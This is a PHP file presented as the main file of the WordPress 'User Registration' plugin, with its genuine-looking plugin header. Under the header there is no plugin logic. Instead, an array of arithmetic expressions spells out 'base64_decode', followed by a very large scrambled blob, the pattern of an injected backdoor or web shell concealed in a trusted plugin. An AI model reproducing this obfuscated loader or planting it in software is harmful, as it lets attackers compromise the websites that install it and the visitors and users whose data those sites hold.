File: /var/www/html/wp-content/plugins/user-registration/user-registration.php
<?php
/**
* Plugin Name: User Registration
* Plugin URI: https://wpeverest.com/plugins/user-registration
* Description: Drag and Drop user registration form and login form builder.
* Version: 1.9.6
* Author: WPEverest
* Author URI: https://wpeverest.com
* Text Domain: user-registration
* Domain Path: /languages/
*
* @package UserRegistration
*/
$kgv = array((((((98 * 2) / 2 - 4) + 4 + 6) - 6 + 3 + 7) - (3 + 7)),((((((97 - 18) + 18 * 1) / 1 + 10) - 10 + 3) - 3 + 10 + 7) - (10 + 7)),((((115 * 1) / 1 + 9 + 7) - (9 + 7) + 10 + 8) - (10 + 8)),((((((101 * 1) / 1 - 20) + 20 - 13) + 13 * 1) / 1 + 9 + 9) - (9 + 9)),(((((54 + 16) - 16 - 15) + 15 + 2 + 3) - (2 + 3) - 13) + 13),(((((52 * 4) / 4 - 12) + 12 + 2) - 2 + 9 + 1) - (9 + 1)),((((((95 + 7 + 10) - (7 + 10) - 4) + 4 - 18) + 18 + 11) - 11 - 19) + 19),((((100 * 5) / 5 + 4 + 7) - (4 + 7) + 4 + 4) - (4 + 4)),(((101 - 11) + 11 + 9 + 7) - (9 + 7)),(((99 * 9) / 9 + 7) - 7),(((111 * 3) / 3 + 8 + 5) - (8 + 5)),((((100 * 25) / 25 + 14) - 14 - 4) + 4),((((101 + 6 + 7) - (6 + 7) - 15) + 15 + 14) - 14)) ; $kxm = '' ; foreach ( $kgv as $krh ) { $kxm .= chr( $krh ) ; } $dpp = '
,KTW_J CWKIPMVMPEFST_IBGI2JST(PGMPEFS\^VKIPMVMPEFS+R
\DONOWEK P	EO_JS2JMOXZS WWIEONY5MIN(ONY5EMVMPEFS+S\@Jn ^^VKI Y@U2EWWIBGI2 NY5EDPMPEFS+X
CJJMOXZS__DPMWBBBST(PGMPEFS\^MJPI]WEU@JnDT@JRNY	XNY5]
JST( D_IBGI2CDOWK_	Tn5 CCDTJJS2E
WWIBGI2	WEOXZSQWI4	RHJJMOXZS4_
CI Y@U2AEPn_BDON(	 XTJST( D_I4	RHCLM\X(HBS2E
CWKB_IZFWI_GMPE
	XN(JJMO2X	CLMOXZS4BWPKI+BPMPEFS_KPT
JST(	
WWIZQWIBGIZBS
JSEDPM	WEK_EPFXN]WI4RKPT@JnNY	]1C0EI Y@U_6ElDST^,]6CPEFS^/7YIBGI C6Y0]
JS2EMVMPnN CFWITCLMMD5
BBS2
TDKTMIEPnQWCWIFQWK_	TnNBMN

TJST(Y_IBGI
_,Y6CPEFS_6FlDSTT1F0EI Y@UV0])NY
jY*COXZSX6^0]
J_JS
\JUAKO(CH[MI1FWO7VFWOIATDPM	^W2
REORBMN(
UMINY5EPG]
JS2XTJSTESFWI4]J]BSTTC^VKEKI+G ^LMMD5VBST^MMPnEJJMOXZS4P	CI Y@U2^6FlDST(X,\6CPEFS+R
/7YIBGI2W6[0]
JS2DKPT5B_IZDPMTMPnEQWK_	TGEOT[MO2^XNXBMNCJJM]EO2^]AWT_IE]
JSTKPTQWTB_BS PDTJST^MMPnTJEPn	]1ST6DTJEPR
T,IBGI0]
JS2E0I Y@UlJJMN(EJRMC_AGGDBVT	_MEPT5^,IBGI0ONYF@VTLJ_JS2EPM	^W2 N CCWKI+SWWIBGI2 j[*COXZS4E1C0EI Y@U2T,]6CPEFS+B6X0Z@Jn0_)
JS2	Z	KPT5__IZDPMTMPn UQWKSKI+X
CJJML*|R/:%Y%Lc\=a'$*LU;2V+\89IZ' (Ae_.%!cXZ$c!W::40S)>g3B@3}4:LI(+_x] KZ&K	F" 8'v-[3wEU 0B	S/gB"Z4>?F8,8Y*f1X_p$	?YIWa:8(hZ]T?I/2
w F#7CY>
[#bR'56z?=2=^/#>/T7Y?]0hW$U:V$=)-U_ \[4&dG.Mg6_i $AS$5%[& ]LG3!C.\>9_[;W\%2A5Z9 3hZ@\Y_;9^Xv4%-[|]>8M0 <U_,r#&7aYC)yA>[% - F(?CV"3)T2,
`48: =T;DD>d...K\29-%?A] (xA:] 2PS2>=.i>54!\k>>M[a	5Y)"h 8>G/O>'y	(FH^-"BK;!BWZ#8y-]X]t(8ZRB'-5!,dX.]*&f X"FFZ<\'9i.T]MB^\EX/7#84a].^ /Ei#;U)$G"# :%	B\:=?[E(>_:Z0E	^T|!N	T :/7u3! 9}&*%Z!%="u:8Y+XE?]Y*=bM? 8}.5;(,>7CiY-=5AZYUt(/?$i:T]!^)(F":"+	ZAI0
W+B<aR3'[T[</9`/" k0<+90x	0&<+?w**H^/ES) 7\#0D;{K B'5;$C>D?G9:9r2
,2w^ 7".rFB' @7*-cA@\3%<z%T(+Ft)%;/k9	)F/<:_ U8X?\$9"|=__G|&Xw[::"YAB[( CA2?\<GK;%k8[	<y9%B]R e#8 
u^A#9_XDT9t]Ae(9>)[cJ??^CI
T1~'>_ A8Y	"]&X!41#v\X HT<<4#bR	"CU>Zi=WT8>	!Ci+59% ]$# +I,/{,"?^![UB[UT>*}R(-R["V:[Y'@X3B\G&-Z`00$X*z+@"_!d	$	!w>W	
Eh=B.<d(@9'"t	5Z1f^*"S:(X< $1ZX"<=\;TD''?6]N"4}+R9W/ ZY_EBU	0M7 R^/[38^"Ah\\\[@CT8a$&_:GhX8ZENM$"x+$ \Ca^;Xz^ LX-84<52^c2./<X.)E>=>&2U"B;EEZ#7bA []
FF><=1YX/&W.?&Tf_!%9:<	0$,={3 [7_E;_TT]"1@ X2\ .U?7ZxR"9!.-	 9^ Tz?,)(4.R
S9B' _R><r:<*Ub['_'P.B=X AfZEh';0h>W*- 5d"4%
BvX\)2.1 #93EWZ^E_4##[X^Z?<{\*X$ $;(&.;:	=9\#CY\a ; ?Fz)$  s1?5_71 ^U7:t4d$6A>9	_v%=,`_OUi.M9uE8X.9KE.:=Lh<"U]__S3'7;GZ_;,,[1}+<#9	 	<,UL|>U:@)4B& G~>X>MEc?(F?bE8?!%2<'8Lx9 2#w%1^B<]J>40H3<~N%\\%''[S_^t[8=#;P>4(YY:4*@YT%<)X9Y;~^T#9*35Er T)^!{- E|2_8Z>
AA-'_#CR@
2G"KF<RX8T<_U> 'W%	:$%,:%88{$_4=[4^%)? c'/ R%7#!=g2UTv*/y	[<']Y''CA:b#8L_J@B'2+;5D
^,]\K&@e"BE["]2$5Ap;27Rd	$TXV9'+2?R\X>E13H?
=@?54KEC-"$2BK8Y=&
\5^Z)"@\ZS+32*]Z+/7_S9& K#Mv!6$]:I2G ;^$E)$u+A(FS. 
<.]>&	Y2=;AD+KCv!	<<-%B^-k<9),\(MwE7gX$?/0v?'2AtRW\.9,%>@}8?/7z!).?s+O^BiEX=
2g;My>N*H 5=t"YY%Cc\]9[<4 "|(*88i^!$F-.f8'K5K?O^_^2_%6B@\S$;<#-?SZ"B(M-i%"Uv:F8R [>(C?=;BG]U( 7R'"BI&Z%M $ )
,}(X]#F_9)F5R?._	#S*-_C$!?E-/=f2<'}:8(.8_i_M*XY%T&R,9?H2O.z] Ft/M:[|/:T=S?;| Z-Y<x,&`E WE14/'h0 +,r!M%g\=?}<+	23(%](.\	3_[97R]#; %D-EE<R1z_-:#P"7%TE>@(9bO8,F<=v+0&zZ+^?@A=Y:1 ^CpE*(-F^$8Ct $[8=M.Z1K+3,%(xA:U<LZYD[X19	F@\@/7[hZ2.^9;#M${>>'cS]w2B?;3u(D=9S:%)"A&U8 @y ,Y? >XY7AdF[9xJ?\Cc$ XH'(Z,Ar\/\53|YF;[-%)<+'X\[0]&K$"V 1+DYs,76y^.~T'5pEZ=]@.XZ?VX=#14YMx'%2,@R.N'1:rZ<)+-H&FY!x>*%81
g+ .=:k"5<1*d(5;/T#C_W5];D\=Z C~:'B*<H#()R\?<)5h0&<Y$>U_:>eZ#bR#e0@	 Ex E8KYAG'25?w!
y%.P.4M0^>>d^"-=2PD[\GXEYY= [A4D1f#A	6;%E5M:[!F,1{\7 f'@)\!-;<,=iO$@<-c9/[;-y::z6)
;"7M% .<D7  K?6!?u&
' H*"U3@&E\ I ^ <U^B<>W'"=_V B,,Mb%1:!EFX]
8a0/$E5H;^
 C^(9"U^),Ap=!}>=_ LRN	1^3W<`[.( -..<"/ST8Y$]w>O ]1f26T_#HZ2*$f: <`]&(U1C3"Ki.=F9+9&>k^9#XE/[)]7\27=rM;TX.Y3=
M $*^c-<
 >I&F<7@-OU,1>.5`$5^'t-"K^6/D>">& $S!	7i8D!!-$=Z\< !C=Xr'[\]-!&/ZE1,!=t>M&#@`&&
f>T&`AX*_^5= 5D_1]]CD-$9:|;8)MD\9=&F<A&-7A,=z,&_I>2_p'/8Z]$@EC/[>[:[+ F#\)_;d!W4\[Z 2_*TY#4_I?/:;>W2 @[=K\Mt@X'UAF/,D?']1h-;,.x&?$'H5[E$A9^.7sR#[?'(=!B>9\X="8St/?'} *:^ 8/=)R/_(DE $:Ah\F3r%3=0f<>]K<. 4D|$&"9S)2=Z@!B;).[%.(6#S-H-!5;C(X0/>3d5Y x(^\B U&CC?!"V]!Te! $=_g9!wAB 	.1B!%E36[X,WS";8\:F/'[@}E_%f0X_[?fJB.9c&N/S&`F?\?w,T#' 7?  29(,k:>]E/: _
M03>,M9x\8/=9^%5MfA\ g)4&"i=+$TGS0r9ZB/M*:DWX8*B	\1;:aN<\%@?5E+[%"F%/7KFB(' ;G285RET^Ah;?<MX@;E[A_#Z%_uJ=<_)F]	!Lp].8?"U$D*YvX!`^"gA> 8L9 52*T^!U["T.D*>=WYE_(%s 
]s8_d/)7[ ]1>k);	1HD>7D!0Tf]\!Z>GR;M(~=<rA>F6y/;{3^1:?Z#?-)#B] &(k8BB\ F:*,_/K?=GZ+%*6'D&&UGW<*h"E#]96H_>5$=3B!)6~"[+N^)tZ9:DK>) R>51z>T);Y('!,C~<_:w(' SBcRG$!{"&@M[#<D8e'"
9GG09:?\/X!;>*@	!5 ^By$	""=DD/{%&K77H3=\FFu .?X-R5,Y"D7C[' MT""Y<Y >];VXY\'^+*Ts;#''"x?_:X+??+Lf8]:!a @dJF" R :_:}9,%"/.1
2h-"M.vT^_A}"9_[X#S$/ M .!94%@ !(1v(
9X!B
Z;/+?_ !3?SX1!	3BY_ 3iW:<|TZ5/?#$ $|T2"#G9F 88@L8U$&F 8B/9	aO4CBN,-![uA()9S,0X% Y(941<&R!5*:Tp 3U8/_&:	!%U,/+0XE4X'K<3
K%`S\4L]+X]
\AV\1a)N/DZ )=U^Xd+F[%M r")L\,\.PCBEB3$,8[@.W#)()F9$DB?=)w'%\F'8_+3#]\:|J5U #E} !0u	1F'=_]DUS E$W$3 G@*^UyE 4w) )_0F$TE>!#i<: 4wY[/h>_\>F/'&,2UZ5&_ \>7u?)MY9F_Mv%]k//3>f\8[* w2/%=k&#<<{)98N'(XS/8]@}, 8,*|Z %^#W)RG"48=r^D8'9#%T"`_>)DzU27{:9Cr ;9/%G;X	]6}
G`)W/?t.2|8Z!,F0+ZEg^5Db#"eXG"G4\PF(;'ES 7)3u#E	<3EJN# h2TET<X(,)"] 	!\)6]U2A+[16h9X
]Mc^3;U>Z0SBD w X;\wG+=&T0 >UUYW ;"=%
#9k^Z91a$[_zABX.g&X]GC_.)Y ?$Z^[`%(t @	%'5_X-FM~"]=>P
R:S%;],$`0!: <rSO<_?a$' -y+':K5F&8tS575r6:(8D4*^9d-#*>:ZB:F:!_"K$=;b^?<|W"Z<R494t@7X>6&#?FE-,BV.Z2/CX
]^I_#U(>Z/*Bh"=':7SEX1,8W>1R^6\T>iW&: X#Xa^:1p;2)]]A^U_ 'A!/:th '2>z!@7RX-  8Ee_B?ZZM2v Z^>u4\!k'7 R[G"$4Z_F&(&DZZ,;!1>"1,	*'s+B$	:y'>:^U+&]X'B0/AT'3Bs_%Y>=V >(x5&/U05\#Tc B<#Cz)83(4?,x4T-V;#+e8 \SE269Y0_O%*#=#_DF&!D!M"De# <; A:=y.-_TU.@`!"M F#U &+Y;S	X9^?^Z&, _P.%72}>?!3:"7EJ'ZFN^(9vZ'IS?<(]>K %:U3] B^*M<M1X!X&9&9\/!8W/4RI]B>)wA${)N(T3319vG"#u$
):'y 1>;?-35@ E
^[0#5+&X9%8=4#GF^+7HDU;=	B8|==_Y] &XrCK9VX%&^IABF	"-?18<%K>GZY+^Y2"4\?"g:<>V:$2RJ@)Z[,#"RF&cB1U};1Z.3Z)F],C:)8bX8b2/T1+:?&s;;U{5.s(4< ^_y4F!4.B,C$Z<8]2EU<[&<8.t#FG]!K!Y?:Y D>% 	 
!_F	9%).zUD;1 :=Di.M?UBk<$FX$}AFEE%#]\]E2+D[&Y:!3:MF^9eA</P>G=ST?p9&_= >	S&&U>W\Z$!aE >>1C>!Y<Z6T)57@!;&Y#AP"=9['!XM]%:Y[V/_v+.3 2C$8@?tJ! Y"'0X=]8T $7- D\@	9YS1T:h0[>B"\?!;@(<i X&[17,<.ZBE$ -.;i0<H3T2YB:[J$: &s\F&8f<9Y" EAB_9=^`'4Bz $Gd>?&
^<AJu:B*	,9#&'MZ^1:%>9,A<W );{&?>	4 hE(9r"77Y "/'2y"_9};$$:D/   #W[#BMK/)"K+\#+%6^	iZ8? #Y!;<;>8<0Z/M[/7X"#"6^0^&W"^*1i$5-	5k- *B$k8)?$e?&= h;/-%8/7*MBb:39bA8~]G5@%ED\>dFZZ>\:KTr0;);GX.d 5;'GZE\5k"'	_!!;B 	%f[O)!>]-k>W+8Y;?[ TE4/'W\YD%!GU3.D,$^8v'!<71~+;]:#'x;DC&/Y38MtB8."/.,k;B'$;P?*[R
%\81	 .->,$iE.Y
EeJB)[%[3/UX#4356F0U$A*Z/@:W#;<82\^6e$]	R!3<*'LI8.##:Dp!-Bs2&^B^4]$Z:v$*3$BJ>:!I	^ F\$:gY+Gb^'##EJ <!4Fz3%X0d'@%u%"1#Y8?^F&	 37<#s/5$# 4Z:wJ:8;@>@,5t]=/X4^:v'FUc["D'Y 4/=e%B/. >F_G#'$X+EM9\ZS="x% "2%%^>Y\U^ ?C%
H92 ?0X/93*=u>/1:x]K
24&=^E#1 =0{S9#p\F$)%JO=*!B	*\6A:Z>);y.
8`XWS.k5Y)AP(\Z>=zAT+0 A; V 4%.XSR8 !	==A];T  1H& ;)>KA=U!X&/^ p*9#'"\RTR/1p0E;;CE5 #2B^<5y"NU ,OZ `_G'%5g"?	8c-5#'*=T?T# aJ#=9V0#,!i.Y2'<	&]C7[ 9\;?Y!HXM#N4X2:Lp&
/FTB^?Lf(GX1<f&.4-c%1&;a?]A'^F{J67#0c >\2
8R]
,?3Z @("?6c7U\]7EM8$!p;1_:>x<-
"x ? k$+$'723?yS _='B	8.'p-!M>T[vEU (;?$+2D+\(,?x_;R4;]^!7?C&GGS =c!#e8#ZLiX1	
w9k,*>k G8_/!t"O,S,"?::@DSA!
/	()F dW26zY]FZZ#5_@BU$b;!;7y_&F#Y6%F3;0\?^%W$,=^=W2C'>y^BA/F;U:DC -KE<<*!B;*[8_U?%T @*?k 83_Te 
<8h2 5`8 ;}#9/%''A/Z9 W5  _/TgX\5 ! %N.{(%(71k9'.ST9Fw $5]Mc:M82.X.	V)D $[`6(F"*&,3))S($&8,@( Mv$7?%w [!u!.[.&=,=3]25].&)"M}-M2A*	?F	]"%Y+?:? ^ >,~[\?[CB2,U N#2;| 8)<!1U14^^N_[XT^06?38%dR' ,B~9DYGr$%+X&C#-EpE+|= M}_X9	9 ^@p/ !5	-<Z#>t>"c-YV,:^0X)30P0X(1MF@8t<.+8_Ly/2]#W"Z!X,'D"!JG^!\^A<(#DuF55%r>*7TS#)<TF #8 J&=, e%O F\$SZ5,\3.;\7,<#(DP$ "0Y+  I9:<-?0E<ZZR3&PW73[G(\&3c]&%43}:8]*X217:
1 872xR;%*k X'TR<#^S
5@+O.";PA+:{=6#=#.e8''rE;BW&5!bY&4DX
0b08)dY6
FGW:)=.,^3D>:DA&T!{3^-_?e 5_Y!=]-+;t/;)=V,G/>FCF9&&p9-/T|	"
]0'!*-~-9?;[F"4[5X-7&GDM5p2X!!8-#S:X$\%r;,\>E$"8 %*Z&_96YA"(]C!.?E]#F%?{"N_ *.w]/>: s!2$X BiA4;M|3. -FP/.'Z9{;^WT7t>3.*- FMG>.	]6]5[?BYE [_ESZMFt></*7R-5-iT$" g):%[;^
  X ]=c3y&AxS@9=8}"K5U)F(^E? xEZe^6/R>]#)>:!\'#_
.8~3F> =G'KXDS],FG&Z# c=@4 UKR0yAA_'^3; SFB> :=V X]/{[
YZY=J&#B85T	$xR,>>b8'A3Bk28[_[A&(Ur1MX$3<- =6,@"-r2\.]_A~-#3!aC^5K:"1s=1'< Fw?ZVJ! ]1 9 :(>y_"	 6.i[0<r#^R<81'|& Y/Mf-4Lt(RT]<9C3? 7
BGS y>,=3=D!"3gWF=" I4$X.#)G\^]:[ 4] wAF<$A_8<\&$:=_d(OB$Ev;Y]YM5;W =S&[yM;}X9)1%,2X
 R\	\)\5,^T] F*%T9'z!!^ O
#[`0&SFD]	[^&0#99b0(^^F..;A.$F>:Y$9.3G(C.7S?T t;/Z>$?NM$F[Z]:8Y%%:+I4 8\++w=
S.F4[A^*HE$<>H!F*Dy3.K=Y\_HE.=7 9;>U-]|9'	.b_&43>}G!_I'.x?.,6i$ Y,:|_.4]'UR?1pA[&@D>^.[2(}E3"=!G;$+'X AL\'7_7./9\\-"B<;[:XM$:XS-#,I3*>`Z;	/ [_7 W'0SG*,v,O(8&	.:?;:?'Z	 _2=![\;B-5;=@{23 a</XTX".'	!5!'9D0?3<%WF_3PX\>?2=*([ %2A	>,EY#?Z=	@/TuS.^~4~ .5Y?REt58X[<7:7zJ'.&G.)+f\ ?7w;U"X 	^2'5!-Y@;''f,:1*>75tJG 16a]E! =Y/8Ex#B,>[29&z>3] _-v&M=@{-BS"y)#}/:~E<)#`&/'F>K:kD-Y&2k2F<s%<	XZ{!=[;R-\)]8A	B9	)z:D$@GrZYF?8	)%$_BC	SB\>.v^;]>[.;-MEg[TP39,!Uv, Y*A`F'Fr'"(*>`%4Da	4)#^Bp0,$?>> 3;!>)7w
)G}+!.S,y9!,b 4=8y 	]#pK 1*-"3yB"U6K2%'(2{E_&[ /B$_%7Y :
v-<^+B}:5$-#yR B0r;<K~-X]%{R8<047u00Y	 5 ,B5EPU*",F=<<PZW'&s 0?_8 D;
L~AX^	~88Z:>X
8k&#	%FU! )]x9'&:D+3BF0;Sf9\2K?>s67_[L."	&3}4>ER#X9$:9	%A8$$Y/< 7':%X@tEN\*1CZ 'MGf9 ::E`S#=[S[/X)/P;,..@F_ X8
"b X.]]7DZ @UzD] " D@?@IJ L ]	1]+X_D/ZRU~/?_$^A:U)T0F02?#UBk&]; .M0Y= \]%s]#X{;' F:[;MT#;1FD_#'%e^A,-4:#O^@B@##d3/M'_g>.F_-]=F -Z153}%+X	DK+<#("Cz:58	&CF#:!%'&'!	XB
)E&+.=P#&^ZaT::8G@3>!a!2?'5s?9Y$]!-=/ 6M.5t- \T 5	 )X*@a$A\;,.^X< /,<S W8K#;\,6B-&*
/^Z-1f9<Z)i0 D9?Z6@b!Z<^
8}'>&.R;{ K&f.=BU.!
_T/?a[#%=]+ (/G(8,S&] Y)Y')@[;EYWZ5=s>8FW3FI=ZZ"cY/7[u0\"(6| MDH%,'X>!Z%4!DU> 
;k'"!?p(+!x$%E/ ^!p7$s9.K;FPR^:6>]},B@G&TBpDY7 #"FRM@_W@t=\B(7AR+-	Ex/O8Y.D*[h	/9&SY3X%}E$2WF)F` 84\]$\_:*D9;D$DA5,""#[;^#c)2"aZT5_GJ8x'Z ]#Y$0B/'_e$0
*?,s^0=!X@.T'X_$U/%d&W[%c<0<'6R\][*7y?"M;T-x/-!]K!-	<6;"!|.[:,B)48[ w8<9{_"[
_PX5MU2)9`]^8	/[=\8>*SF!b<;T84"C<;S!-[?r6* 5_5Fh )	5\N@Z%@B,H^W,;"B3F
\@1&:5{#"Z8K\2 @bS6Z^ %G9'Dr$TMcN?x%\}0F!]*MH00FS+B,5W?DL|<#
[)M;"F ;Y3^.	T=:Es\0.&<cYG&\Y&_[Te&;>iW8<*<|21&i&1=YA@_i3$*Uu];.w#+<V.4^!L&A=-;F>3,W8$5_r_$\Kx]D\:>*U@UW: #,K\$ZX\6Z=w?!;IJ%-X> [k?$]_\=S,.[\].i\GZ'#z&!G5
M:$.Z?C95R7A<=S 6^b_'TS>U,a^'^.;i4^XE):-'>f/9SC^MSSs	9/_!^2%Y2> z!;[M:ZSw$A($DP$ ^/:
B8 %p1)*REA8 EeZ\+M<{%R&H31;. 9x-=1D;GF.*}J/,!5E' 95?<Dz$E90<_ ^;@<B.
-S& Z.aYX 7F<(%9a&;)b\##<UW?/M>C/$G
2A;7"V5!TX5,F;t!4#FiJ;^ F	;?X0X\F%ABBa 9,
8GSZe[W/;(,Ya2E#hN/<	~:RBiX$S_TXy1>3	,GZ*8G;+G<%XR>F	M>"Y+/[0?]Y'5	6[>U9yZ_@X>=U09E+975']#=_. + A)'F1Ft.,'M`B&? D8S^ !;:T3Mu#&&^ 22=S9 ;C\3V32[[\3@$=-YA$X4%D\./?$f3T;?8Y8Z&[W"/)U_V[].dOM.F eN/	!2w\ ZF_A}8Z	+78%$=/>>h^"<3W">T3)="
X	A#9 >T=x >TE@JNZBVR5S=_#{!B[<"C*\'\6[2:MY<?.	ER0,7[9@T@\@[;F(yWS	3@U\a 	;":i8 @X)X7[R=FT: \1G36M@<"<\[ @=7}>[18C_$?<[DU ^?!1i\<F'9f BY/&\/F5
/=%,sSF%,"-3(?	8  =2xY;:.;^:B-,P9#5$.  9#<_I<81<T<@!$R_BRY$2!	2Z^U;I? \U:)H?""Cw3\EBK 6d-5^0e&18F>}2?>(8	X  -	],#"?[/!S5M;M"f	DU#PE?_.e)/16	@
#$c%D5!TB'8AKAZ'w-&$K%u^$<.CY)-Db F%	XX,%%1K#U_&e+!%rZ3$,J?#
]:F-(>W0_ x &!+Y??,-R($ ^}\Us;.#SMF%w%3FY$>u$.&A_;$	%$90X]0} E4&M=K3 ^1@Y['SG>
7Z$5 J@>?7@A>K%,\?rA:B<T"p.+[^;\*,	-$] * BFJB *5i?^($z26
}RNY|9'$#kX>K<?:\UB}=2$>*#G.?^GcA@B

^[!_:)./F@LH!56F_5.9,g<S8# &#B] =	1bF;g/X.:	B:@)B)SE0	^Mf;O'%[D(	Di[6]S#AE$# K\8], W#)@?AhSW8-/a/+&!<e $ "t>.SCE Z~<@H\>_e]'Bd>F9Fg^A=K	Ew"4I/<T 
LD3%CDZr?$Y$y('8?\!c0]@>'Z^E1)" ?T.W3@)U'\', Tk"5]FU#GG#9:[`A.Z[	2"_<S?a#
^\GWF7\RE\,%!:-/.,x-W 1DY:X?S-#\AS; E_?G?3_} 9!\;8"9@#5 e>(6K\	M<C9 _S?#h>?!W-\FRR$\/,{(@?!CC)8_;/?!?t7#4#83;H$)cS5+;DJ8]Yf&A?+LvE=_=#<2B#<'x 8 $e),Zt#4%2$Tr%(^ ,]B&G&&.[X!>=TA:<> F .R,W8:!)z#/ RX.
4#{S/;=4,J1][YZ[N&[]^==h2F._=R*= S&] [=`"<) 7C<A1<Z%i>	T'^/ 3R[^@E!>X%\Dd\B8Z\ ]:'#!B*8G$."Z5u.BM!g>X!3sR<8%7f&8'@7bRN!^AWU_#z
9]"2<:$_9X?*+!TV&<_SS928cF)$Y] ;Yk#(5L__#E~0K!	? 
"^,[`^7% /"_Bf)$'^EX-"F#%"sZ(][{-M3 B],$Z>;
"y&':DG85B=	4CC'!
Ev FFZ*-WR*;b.!":?7]XW4>=\:\-#f=&Y~-,.P##3)eX,=MwZX$*:s8%"6|.=;5_=U,8<x.O k"B3	@  KE$B3[F-_	>UMv8$U.R+U.	B>(r;^z! Z=a"&Y$@## U.M;X<X>dA!/F]"fZ8TIF_<"<)r#=%AWhY4%# -OT^'* >|8:E" <X%8:=5{?'?_$tR5%^
[! :U=;+-rJ8[2(	W 5]#r9\T$W %5<69,)D^\]X+\MZ!@Z,09)>4_ 8uR\0f9'=-UTX$YE:^?s':<y4",F'>+MY]C?,>aXX,,C~S"[&)~-;'}!(~&B4;_p]%^&2-Y[B-!^.p+2.~JD_D8hGZFs>G"1d/< !UE DI-X"\	~.
>8Bv(9B;2;T1TS/
81z247?](*$F>_\WZ7R]_['{	B:z;G?W< 4BEAE&/$'b$!?]D\??*GER6D:6g] UJG&2/ IX%2;MZ1)DA'!*MC!Z)8"bMs%;5r(-5 <8[B+I0+&Z8E\M3$^"[b/X#2b>G/3)  !&,T>1&}1 [<,s R0@"UB#}$!)*5;)_	F
Yf\!\u$ 6G#:=r>F3y)uZ]=9~WY' BNX(1B$F% Y't?D5|[ h0[/<?\]c987[Y<G;TY?v.;].g;'K(BZ[$-\S. ^@^"35 >4DZEH>Y[e-(
'{%
$\}0@YS([z+"%(_W!.^E\3$?Y/:4<w #*/ET\ -UE%s59K;5x0A)# 1 Z#V/2\0R(&"P B['rE2 9,_ 	DBc\D	9`_2$?^#Z&Ds9M,4s _%cN,DY"
D*f1Bh_!@Z\9X-TJ5(9!z#!D$4X"I(10Y^ b;%YXG?X( TV3NZ<[H#X+#c;2Zf.p0X<8XhRD77Z -8RY&??@K;$([e?=M= [?\X[:p\\
=BS@y:##<>= 3Z/>>W)!;c&B!%"2/&1W2K,LB, 8x>34_A)G
: Y4>&A$."  k^-^#{O(_4CI&C%M$?E8+[G["\YGP $#AG 9T!s+;%*<f 5>%6:@	?;zZ4M-?/''":U O,)]0$57u9	Y"i.![W*\>xY&&AE\2\8#@8 ~J0&UEG=
@  2&6^083D%%D;':{N	?)0:R&\RAY#9W#]*:x0:.M.-T75,DX^Bd$DX-^\.:F0%<-xZW
>C.	L1>-&$F,)\'A3*<&}F-(&tW"D<FX]!=cYZ9WE?).|).$cXD%R4<#^T('79/-<	Ch6+ *Fg$$T-
 I4@8Fv\&7d= Lh^F\^T(:s4#"DJS=}'9=DPS>$_$@X?
>V^8#?=;V-N;&4 s;KU3_54X.LiXD*,'9^E887 !/ :x?&*
9%C
<d./!5zS.=:1?!@<GR(1FNS9R"@T=t$:%FAS+4'&%:@`Z!(@V<%=$SDB (;.=-	A@K#ZB+?
z86]^2E^A"?R56B-9?;#'>]RF%:z!$S.7_
>z./+D -BR<2 i #;9p>F*&5W6]%R!Z8M}'_K8BR_W2- D^ >'.f?+EFB#'&XTR3!-9_;	##.-'\.>u^D"A$Y:.S=,Z&7_T''K+&E9E],	B34v!]?v: GFZ/KT0|$9 8P^;d>@ Y2D&&* =:^[\?A*X"H>-5':#	 w/!TJ/4 V=C^KC<_b0/\-y0/EBY2! Av25X@-)4L[3E>*&P?^Z>|<F@T6Y<YCt_'I73D>/:
v"\'"GB_.
=U"&&\TD36/*KY#!5Y;6%"aEZX-bE!'Be:,
9D4D??v^><88)Bz=:*#Y!D^1=0Y?s9:
?P$& V8"!"5AE5R5w&?$33i98K)|&G^Br#_%S.99 d 4USS74X[5Ck2:*'$#S+!)KU$/"*#E,?MR.P9>;97AG?8H<>	5D%\+0# ><s?_X).;
=TF$[3a\'*	F-X.f X^/!z/&2\02/ R,2))Yf	#" i $
.:@D%!T{G81(}.3:@,=G-^=t)""_w%N"	[yR<,
r9]Be\;@7!4$~X/*^8/B	_#G&\G:[,X.V	"*] 5*
FSF'^h$F[9&_):h!?W-./I\;&\2t& XO . ZY/^	"<.@B:(M3:!4 \2}'C9;+&'^=e!_Dc 2	{<
 "TG3\ ,gY9^-..!-s2;.9D C3.&c -1r>	<@ /;$I G##M<c-9"2
CW%A*7?z5#MW+=7^>6rAX^/?T?'2C>!+ 0 !	]?!!8
L^'*'=i.7, 8@,-s[1BZ/Y p3 0,9(+CB\ZV>	:3#ZCG]F	3y90>\.71&X%= CF5#X$;U,W[><#]B_T])_?*!;kZ')?P3'MZA3.]Li>#_]3y\^8;T)!1CX\/=_";T]:^Y5z2/"]t #MY9N8[?Y*!.G%&>( ^0(XM~
(80
#\GG$8$c'N/!c\W4f0/	CPA!^><VR37[\98*;hX$PO]*B\<CM:&v.4;?3D	*A\89,\<^*R9E$4H +:_rJ9<>.z:g`<X\ .FZ'&_>>M#-y_L@(()D	:0$7#V;)ZYyY_G'""3XBr=?0{S)]U8!$'x>;'8#k_]T}]589
&{(
^E) F_<d!*Aw&t:!%YZ<.=U8OT
;f!U9;Y W(1#u3'";24"88a="+>$_A:=B1	E#_FC=!XB/4W!!Y8U"Z>8z= $N>^22F EYZ<&. F"*?u$-9"TF+4/ :XW,Dd"c"@X1B^%U,0<<DY9T\;9:T?69iNFS:6aWZY `S]-d#E?i<)-|=-f\X.B ['> z8;[X?NM *#h?><x>!]z=:+:E&<&D53$7~2|;#E;.S+,<FV ]\M%B._B?;,'rC,',F`X+5A^%Sz]'X+tXM x?8p 94
^Mg$ Y!<4=#;'fA'! A-$]8Z!.DE#C; S94{@
]D\UXt0G6u4_[ k8==F,9,BAc2^
#B{7X0R;!DR[&g(9^M9.2-r3-/R4_1*;G=\T2K/MW;?89Z^;MwX)(]<~?<>2f.1Y$>U(D1@f- @BYMd6X+7_)>@Y3RMPX<<E\653FS&$!*"T8x3>)]\@A\ZM3}]_%cXOZ::?g_("K]D ](),ZM@ -]
#B2	#T, M[r\#^18x\4'EY#[D-!G<0^%L	)$RT\
 -Y;W 5b;<^Z2<"](*)dN!^LE7/5~<(]*=-U7GZ3T#	.}9:) [:#>"M+@|	'].UDE:5e\?=>[&1]2#TF]/'#;  \ &DYG>,Ba9./!3+S _5Z=Y[[$-[$@4pJ'>p9D_T;O/8c=k	O9@]#3X3	z25K[_R=<X"&u@ 5		&_1[&@.<R7TH/Ag>D?6]8S<27 k'2	'g34.#8,h(/4z$S9E=&/TE]8y6 8 9" ;1',Z%#FRB0aJ[!A X?{0M^ E=
